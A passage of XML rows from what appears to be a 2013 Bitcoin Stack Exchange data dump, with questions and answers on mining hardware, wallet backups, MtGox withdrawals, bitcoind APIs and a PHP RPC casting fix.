  <row Id="13449" PostTypeId="2" ParentId="13447" CreationDate="2013-09-24T09:38:21.190" Score="1" Body="&lt;p&gt;Because MtGox is delaying USD withdrawals for several weeks so whoever wants to withdraw funds quickly has to do it buying Bitcoin and withdrawing in Bitcoin.&#xA;This creates a difference in prices. &#xA;The question is why people still keep depositing to MtGox? May be because MtGox still has the biggest trade volume in the world, or may be they are old deposits&lt;/p&gt;&#xA;" OwnerUserId="6856" LastActivityDate="2013-09-24T09:38:21.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13450" PostTypeId="1" CreationDate="2013-09-24T10:22:52.120" Score="0" ViewCount="918" Body="&lt;p&gt;I have a computer has two graphic cards ATI Radeon HD 5450, which are almost not used at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The computer is running permanently and is used only for office work and data storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to setup the minig there and I was i bit disappointed by the hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GuiMiner was hasning at 2 x 10Mh/s, CGMiner is a bit better, it does 2 x 14Mh/s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those graphic cards so weak that it is not possible to squeeze a bit more out of that?&#xA;I can get a third of this hashing rate on the CPU of my 5 years old notebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use just the default settings and I mine by executing &lt;code&gt;cgminer -o host:port -u user -p password -l 1 -T&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6857" LastActivityDate="2013-09-24T23:15:09.227" Title="Is there a way to squeeze more hashing rate from a weak hardware?" Tags="|gpu|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2013-11-24T21:18:37.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="13454" PostTypeId="1" CreationDate="2013-09-24T14:37:44.893" Score="1" ViewCount="325" Body="&lt;p&gt;I sent 2btc between accounts and they have left one account but never arrived in the other account. This is over a day ago and the transaction has at least 20 conformations and is showing up when I track it on blockchain. It is just not appearing in the received wallet. Please advise? The address is fine: 1EkgFM6fx3Fq4XvEneuVwk3f8ET7PX8fj &lt;/p&gt;&#xA;" OwnerUserId="6863" LastActivityDate="2013-09-26T11:49:15.283" Title="Missing Bitcoins" Tags="|transactions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13455" PostTypeId="1" CreationDate="2013-09-24T15:07:52.727" Score="4" ViewCount="231" Body="&lt;p&gt;I have several systems available that i would like to use to mine to a pool account. The problem is that other people have access to these machines and i dont want them to get my password from the config file, log into my account on the pool server and be able to change the destination of the found coins to their wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two that i can think of are if there is a pool that does not require a password to contribute the hashes, or setting up my own pool server that does that but this sounds more complicated.&lt;/p&gt;&#xA;" OwnerUserId="6864" LastEditorUserId="120" LastEditDate="2013-09-24T16:56:40.043" LastActivityDate="2013-09-24T20:09:02.100" Title="Public mining pool account w private access" Tags="|mining-pools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13456" PostTypeId="1" AcceptedAnswerId="13457" CreationDate="2013-09-24T15:49:17.487" Score="9" ViewCount="13256" Body="&lt;p&gt;I know that Litecoin was designed to be mined with a CPU but then someone figured out how to mine it with a GPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone figure out how to mine Litecoin with an ASIC or FPGA boards, and if not is it conceivably possible? (and by that I mean would it be more effective)&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2018-11-09T00:41:25.713" Title="Can ASIC or FPGA boards be used to mine Litecoin?" Tags="|litecoin|asic|fpga|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13457" PostTypeId="2" ParentId="13456" CreationDate="2013-09-24T17:46:12.973" Score="6" Body="&lt;p&gt;Yes, there are designs for Litecoin mining FPGA bitstreams, but they are not very efficient currently. ASICs are much more efficient and if anyone finds it lucrative to invest in development of Litecoin mining ASICs, they will push out GPU mining. (The efficiency ratio between ASIC and GPU will be lower than with Bitcoin though).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-24T17:46:12.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13458" PostTypeId="2" ParentId="10174" CreationDate="2013-09-24T18:18:43.033" Score="2" Body="&lt;p&gt;Some people are selling bitcoins and receiving PayPal payment on LocalBitcoins.com:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/sell-bitcoins-online/paypal/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/sell-bitcoins-online/paypal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins is in-person exchange. The problems with PayPal tend to hit the bitcoin seller; because PayPal transfers are reversible and bitcoin transactions are irreversible you must trust the party to whom you are selling bitcoins. A malicious party can file a PayPal claim and get their fiat currency payment recalled after they receive the bitcoins. This problem is not specific to PayPal, but all credit card backed payment methods (Venmo, Dwolla, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1ku8y5/great_news_paypal_bitcoin_reconciliation/&quot; rel=&quot;nofollow&quot;&gt;Some people have found it possible to resolve issues with PayPal payment recall policy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/guides/how-to-sell-bitcoins-online&quot; rel=&quot;nofollow&quot;&gt;Also LocalBitcoins has guide how to avoid this kind of fraud&lt;/a&gt;. The sellers have 25% - 50% margin when selling on PayPal, so they can cover up possible losses. Also when done successfully one can profit from the risk, as there is high demand buying bitcoins on PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins also has an API, so you can at least half automatize the process, but you still need to have enough buyer audience to make sure there is demand for your bitcoins (there is). &lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2013-09-24T21:11:12.117" LastActivityDate="2013-09-24T21:11:12.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13459" PostTypeId="2" ParentId="12067" CreationDate="2013-09-24T19:01:52.173" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;2013-07-09 00:46:43.467000  Local: 0H/s in last 0.0 seconds Local dead&#xA;  on arrival: ??? Expected time to share: ???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no miner attached to the pool, &quot;0H/s&quot; means zero hashes per second.  And since no hashing is being performed the dead on arrival and time to share cannot be calculated, and thus are unknown.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2013-07-09 00:46:43.468000  Shares: 0 (0 orphan, 0 dead) Stale rate:&#xA;  ??? Efficiency: ??? Current payout: 0.0000 BTC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since mining is not occurring, the stale rate and the efficiency cannot be calculated, and thus are unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to attach a miner to the p2pool to actually mine BitCoins.  Try something like &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6867" LastActivityDate="2013-09-24T19:01:52.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13460" PostTypeId="2" ParentId="11545" CreationDate="2013-09-24T19:27:47.157" Score="0" Body="&lt;p&gt;the best way to use your pci slot is to get a pci usb hub card, and line up the asic usb erupters hubs on that. if your mother board has 4 usb ports and you hook a hub to each one and each hub has 7 asic miners, adding the card will double that. then do the other slots and keep going, before you know it you will be tera hashing!&lt;/p&gt;&#xA;" OwnerUserId="6868" LastActivityDate="2013-09-24T19:27:47.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13461" PostTypeId="2" ParentId="13455" CreationDate="2013-09-24T20:09:02.100" Score="1" Body="&lt;p&gt;Pools either don't use a password for mining clients, or they use a password different than the one used to log into the website and change things like the cash out address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you don't really need to worry about this happening. Just don't choose the same password for mining and website access, if the pool asks you to choose two passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could happen though is that they change the mining client config to mine for their pool account instead of yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the special case of a pool or two that accept the user name as the cash out address. In those cases someone could change where your coins go simply by changing the user name in the client setup, because the user name and cash out address are in this case the same thing.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-09-24T20:09:02.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13462" PostTypeId="2" ParentId="13454" CreationDate="2013-09-24T23:13:28.687" Score="1" Body="&lt;p&gt;If the transaction is in the blockchain, the Bitcoins are in the receiving address. If some particular client doesn't report them, that most likely means that it hasn't yet seen, or correctly processed, the block the transaction took place in. It could mean some other issue with that client. But the coins are there -- all it takes for a Bitcoin transaction to be received is for the transaction to be included in a block that's in the block chain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5960" LastEditDate="2013-09-26T11:49:15.283" LastActivityDate="2013-09-26T11:49:15.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13463" PostTypeId="2" ParentId="13450" CreationDate="2013-09-24T23:15:09.227" Score="3" Body="&lt;p&gt;12-14Mh/s is about right for the 5450. It's not that the card is weak, it's just that you're trying to make it do something it was never designed to do.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-09-24T23:15:09.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13464" PostTypeId="2" ParentId="4243" CreationDate="2013-09-25T00:17:04.793" Score="0" Body="&lt;p&gt;I have used &lt;a href=&quot;http://irishbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;irishbitcoins&lt;/a&gt; and they where very fast, I have only used the deposit method once but I wasn't asked for ID. The guy even met me in Dublin the next week and i got more from him, sound lad. sure send them an email and see.  &lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2013-09-25T00:17:04.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13465" PostTypeId="2" ParentId="13440" CreationDate="2013-09-25T10:05:24.307" Score="3" Body="&lt;p&gt;The reason you have to explicitly state which previous outputs should be claimed by a transaction is simply that you do not want to give users on the network a blank cheque. Say you wanted to transfer 1 bitcoin to from any output available to address A to address B. You would then create a transaction that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amount=1|to=B|sign(amount=1|to=B, sign_with=A)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This transaction would be broadcast to the network and result in the desired result. The main problem is that if you have more than the 1 bitcoin you'd like to spend, there is nothing to prevent the owner of address B to create more transactions that give him all of your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem arises with the change from that transaction, if you do not have outputs that sum exactly to 1 bitcoin, you implicitly create a new output for the change. This brings us to the last problem: picking outputs to spend may not always produce the same outcome. If there are multiple combinations that the new output to B can be constructed then nodes in the network would have to agree on which outputs to spend, which again would require transaction IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the owner of the coins specify which ones to spend simplifies all these problems.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-09-25T10:05:24.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13466" PostTypeId="1" CreationDate="2013-09-25T10:18:03.910" Score="-1" ViewCount="392" Body="&lt;p&gt;I am trying to run the following code &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$betamount=$_POST['bet']; &#xA;$litecoin-&amp;gt;move($myusername,Admin,$betamount);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it will not work. it does however work when i replace $betamount with an actual number ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$litecoin-&amp;gt;move($myusername,Admin,0.2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$betamount=0.1; &#xA;$litecoin-&amp;gt;move($myusername,Admin,$betamount);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas on whats going wrong ? the $_POST['bet'] is defiantly a number because i have tried multiplying in php and it all works fine.&lt;/p&gt;&#xA;" OwnerUserId="6873" LastActivityDate="2023-07-24T14:02:40.307" Title="jsonRPCClient Error with php variables" Tags="|json-rpc|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13467" PostTypeId="1" AcceptedAnswerId="13470" CreationDate="2013-09-25T13:58:21.387" Score="1" ViewCount="1630" Body="&lt;p&gt;Is it possible to enumerate all blocks/transactions, in order, using bitcoind API? The listsinceblock call seems to return the transactions without any ordering so assuming I get a very long list, I cannot process half of it, store last processed block hash and later ask again for transaction since that block.&lt;/p&gt;&#xA;" OwnerUserId="6718" LastActivityDate="2013-09-25T14:31:02.680" Title="How to enumerate all blocks/transactions in order with bitcoind?" Tags="|transactions|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13468" PostTypeId="1" AcceptedAnswerId="13475" CreationDate="2013-09-25T14:01:31.903" Score="1" ViewCount="496" Body="&lt;p&gt;I found out that the new major release of bitcoind will contain support for the watch-only wallets: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2861&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/2861&lt;/a&gt;. Anybody knows if there is available a binary package consisting of current stable version with this pull request merged in?&lt;/p&gt;&#xA;" OwnerUserId="6718" LastActivityDate="2013-09-26T05:35:27.920" Title="Stable bitcoind build with watch-only wallets" Tags="|bitcoind|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13470" PostTypeId="2" ParentId="13467" CreationDate="2013-09-25T14:31:02.680" Score="4" Body="&lt;p&gt;Yes there is a total order over all confirmed transactions, namely the order over all the blocks by blockchain height, and internally by the order in which transactions appear in the block message. This block-internal order by the way is the same order which is also used to calculate the merkle tree root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest calling &lt;code&gt;bitcoind getblockcount&lt;/code&gt; to get the blockchain height. Then use &lt;code&gt;bitcoind getblockhash&lt;/code&gt; for each block from 0 to that blockcount to retrieve each block and then traverse the &lt;code&gt;tx&lt;/code&gt; part of the result, which should give you the transactions in the order they appear in the serialized block form (which is agreed upon by all nodes). Whether you count the block before or after its transactions is a matter of taste, but I'd suggest counting it after the transactions as they had to exist before the block was found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to stop the process somewhere, simply remember the height of the block you last processed and the number of transactions you processed for that block, and you'll be ready to continue right where you left off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that there is no way to enumerate non-confirmed transactions, and orphan blocks. This is due to the fact that there simply is no unique ordering among them, which all nodes in the network would agree upon.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-09-25T14:31:02.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13471" PostTypeId="2" ParentId="8384" CreationDate="2013-09-25T15:47:51.223" Score="1" Body="&lt;p&gt;On the v2 api, It's not possible, I guess, but they say &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview#markdown-header-moneydepthfetch&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that it is, but that arguments to do so are not known. if you try any arguments the response is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;error&quot;:&quot;Invalid call method, please ensure query string is empty (min,max)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's why I think you can't, I guess it's the same for v1. Maybe you should think to do what you wanted to do another way, maybe updating your data with &lt;code&gt;trades/fetch?since=1364767190000000&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5697" LastActivityDate="2013-09-25T15:47:51.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13472" PostTypeId="2" ParentId="13466" CreationDate="2013-09-25T20:04:24.107" Score="0" Body="&lt;p&gt;Fixed this now, All you have to do is change it to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;floatval(trim()) ie ...    $betamount=floatval(trim($_POST['bet'])); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for numbers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and just trim()  ie ... $litecoinaddr=trim($_POST['address']); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for strings&lt;/p&gt;&#xA;" OwnerUserId="6873" LastActivityDate="2013-09-25T20:04:24.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13473" PostTypeId="5" CreationDate="2013-09-25T20:25:35.777" Score="0" Body="&lt;p&gt;Coinbase is a US-based Bitcoin company. They offer a custodial web wallet and exchange service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Coinbase company should &lt;strong&gt;not&lt;/strong&gt; be confused with either of the following uses of coinbase:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;coinbase transaction: &quot;The first transaction in a block. Always created by a miner, it includes a single coinbase.&quot;&lt;a href=&quot;https://bitcoin.org/en/glossary/coinbase-transaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt; It is the generation transaction for a new block.&lt;/li&gt;&#xA;&lt;li&gt;coinbase field: &quot;A special field used as the sole input for coinbase transactions. The coinbase allows claiming the block reward and provides up to 100 bytes for arbitrary data.&quot;&lt;a href=&quot;https://bitcoin.org/en/glossary/coinbase&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18229" LastEditorUserId="18229" LastEditDate="2017-12-23T04:15:09.287" LastActivityDate="2017-12-23T04:15:09.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="4" CreationDate="2013-09-25T20:25:35.777" Score="0" Body="A US-based cryptocurrency company offering among other products and services an exchange and a custodial web wallet.—Please use [coinbase-transaction] for questions about the the first transaction in a block that pays out the mining reward, or questions about the coinbase field." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-11-03T21:57:44.143" LastActivityDate="2023-11-03T21:57:44.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13475" PostTypeId="2" ParentId="13468" CreationDate="2013-09-26T05:35:27.920" Score="3" Body="&lt;p&gt;Depends on your OS, but building it yourself is crazy easy on OSX / Linux. It's an old enough pull request that it doesn't contain &lt;code&gt;autotools&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget https://github.com/sipa/bitcoin/archive/watchonly.zip&#xA;$ unzip watchonly&#xA;$ cd watchonly &#xA;$ qmake &#xA;$ make -j8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd supply builds for you myself, but there's absolutely no reason to trust that my binaries aren't backdoored or malicious in some other fashion. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-26T05:35:27.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="1" CreationDate="2013-09-26T07:39:24.423" Score="3" ViewCount="3712" Body="&lt;p&gt;I am creating a bash script (that I will happily share on github when done) that takes random public and private keys for bitcoin and then bottles them up in an AES encrypted container and then SSSS the key to unlock. (Aka, a really secure paper wallet to distribute but itself is worthless. ) For right now, the part that I have thus far &quot;outsourced&quot; was the public / private key generation using bitaddress.org to create the bulk addresses. I would like to pull that part into the bash script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reviewed, &#xA;&lt;a href=&quot;https://github.com/RobKohr/PHP-Bitcoin-Address-Creator/blob/master/lib/botg.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/RobKohr/PHP-Bitcoin-Address-Creator/blob/master/lib/botg.sh&lt;/a&gt;&#xA;and found that 50% of the time the private key in fact does not &quot;unlock&quot; the public key. Further it only runs in Ubuntu not OSX. Further, my goal is to replicate the bulk function such that 50 or 1000 address could be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any scripts or suggested links / locations / examples to accomplish the creation of the key pairs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciated. &lt;/p&gt;&#xA;" OwnerUserId="6878" LastActivityDate="2013-09-27T10:30:15.933" Title="Public Key / Private Key Generation in a bash script (osx / ubuntu)" Tags="|private-key|script|public-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13479" PostTypeId="1" CreationDate="2013-09-26T11:51:58.993" Score="-1" ViewCount="1561" Body="&lt;p&gt;By most profitable, I mean the coin that returns the most profit for &#xA;lower-hashing GPU's.&lt;/p&gt;&#xA;" OwnerUserId="6882" LastEditorUserId="5406" LastEditDate="2016-04-01T09:04:58.830" LastActivityDate="2016-04-01T09:04:58.830" Title="What virtual currency is currently the most profitable with an Nvidia GPU?" Tags="|mining-profitability|gpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-08T09:30:01.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="13480" PostTypeId="2" ParentId="3748" CreationDate="2013-09-26T15:33:00.483" Score="0" Body="&lt;p&gt;Perhaps the following resources will be of interest to you.  I have co-authored Parts I and II of a series about Bitcoin and the recent legal developments that pertain to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;William B. Fleming and Joseph Evans, &lt;em&gt;Bitcoiners in the Courtroom Part I: Government Oversight&lt;/em&gt;, Ford. Corp. L. Forum (Aug. 20, 2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TXT: &lt;a href=&quot;http://fordhamcorporatecenter.org/2013/08/20/bitcoiners-in-the-court-room-part-i-government-oversight/&quot; rel=&quot;nofollow&quot;&gt;http://fordhamcorporatecenter.org/2013/08/20/bitcoiners-in-the-court-room-part-i-government-oversight/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDF: &lt;a href=&quot;http://www.gagespencer.com/firm-news/GSF-Bitcoin-Part-1-Government.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.gagespencer.com/firm-news/GSF-Bitcoin-Part-1-Government.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;William B. Fleming and Joseph Evans, &lt;em&gt;Bitcoiners in the Courtroom Part II: Civil Litigation and Developments&lt;/em&gt;, Ford. Corp. L. Forum (Sept. 23, 2013). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TXT: &lt;a href=&quot;http://fordhamcorporatecenter.org/2013/09/23/bitcoiners-in-the-court-room-part-ii-civil-litigation-and-developments/&quot; rel=&quot;nofollow&quot;&gt;http://fordhamcorporatecenter.org/2013/09/23/bitcoiners-in-the-court-room-part-ii-civil-litigation-and-developments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDF: &lt;a href=&quot;http://www.gagespencer.com/firm-news/Bitcoiners-in-the-Courtroom-Part-2.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.gagespencer.com/firm-news/Bitcoiners-in-the-Courtroom-Part-2.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6556" LastActivityDate="2013-09-26T15:33:00.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13481" PostTypeId="1" CreationDate="2013-09-26T15:44:27.687" Score="1" ViewCount="458" Body="&lt;p&gt;since some answers seem to be outdated, I ask now explicit for version 0.8.5 of the official BitcoinQT-client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to save my wallet to paper and hide them in a safe - could you tell me if following points look valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This topic seems really complex, I dont know why there is not an easy option like &quot;Export wallet to pdf&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so here we go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I would like to export my private keys to textfile?&#xA;(How does it work?) I only see how it works for one single private/public key-pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Print it out and hide it in safe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) When I do a transaction or receive something, i should print out again all private keys, because otherwise something can be lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2013-09-26T20:59:47.673" Title="Bitcoin 0.8.5 - Paper wallet" Tags="|bitcoin-core|paper-wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-11T18:40:57.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="13482" PostTypeId="1" CreationDate="2013-09-26T15:54:41.750" Score="1" ViewCount="1251" Body="&lt;p&gt;I just wanted to ask If it makes sense if I want to print out my wallet.dat to encode it with base64?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read that the backup would become useless, if I get any receivements or make deposits and I would have to print out the wallet.dat again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to encode my wallet.dat with base64, print it and hide it in safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when my laptop breaks down and my other backups are also damaged (why every), i could scan my printed wallet.dat with OCR, decode it with base64 and just load it into the normal bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does this sound correct?&#xA;or are there any things I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I dont want to rely on other software, no other web apps or key/password generators...&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2021-02-14T17:48:57.093" Title="Print wallet.dat with base64" Tags="|client|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="2" ParentId="10960" CreationDate="2013-09-26T17:19:16.100" Score="4" Body="&lt;p&gt;OpenCoin (now called Ripple Labs Inc.) open sourced the Ripple server code on Sept 25th 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Announcement: &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=2&amp;amp;t=3718&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/forum/viewtopic.php?f=2&amp;amp;t=3718&lt;/a&gt;&lt;br&gt;&#xA;Source: &lt;a href=&quot;https://github.com/ripple/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ripple/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-09-26T17:19:16.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13485" PostTypeId="2" ParentId="13255" CreationDate="2013-09-26T17:57:54.443" Score="-1" Body="&lt;p&gt;There is not single &quot;spot price&quot; for bitcoin. There are only bid and ask prices on various exchanges, for various currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to factor in how much BTC you want to buy and then look at the order book to see what price you will pay to buy or sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a tool to view all markets for a given currency, see &lt;a href=&quot;http://bitdango.com/currencies&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/currencies&lt;/a&gt; to view all currencies. Then pick a specific one (USD, EUR, PLN, etc) you are interested in. For example, here is the USD URL:&#xA;&lt;a href=&quot;http://bitdango.com/markets?quoteCurrencies=USD&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/markets?quoteCurrencies=USD&lt;/a&gt; - that gives you all the bid/ask prices for Bitcoin Markets that support USD.&lt;/p&gt;&#xA;" OwnerUserId="6885" LastEditorUserId="6885" LastEditDate="2013-10-21T23:31:58.893" LastActivityDate="2013-10-21T23:31:58.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13486" PostTypeId="2" ParentId="13479" CreationDate="2013-09-26T17:58:44.330" Score="0" Body="&lt;p&gt;As of right this instant (9/26/13) feather coin is, but if your asking this for mining purposes then I suggest what you do is point your miner at a multi coin pool such as &lt;a href=&quot;https://www.multipool.us/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;. These pools make sure that you're always getting the most bang for your hash rate by continually switching to whatever coin is currently most profitable.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-09-26T17:58:44.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
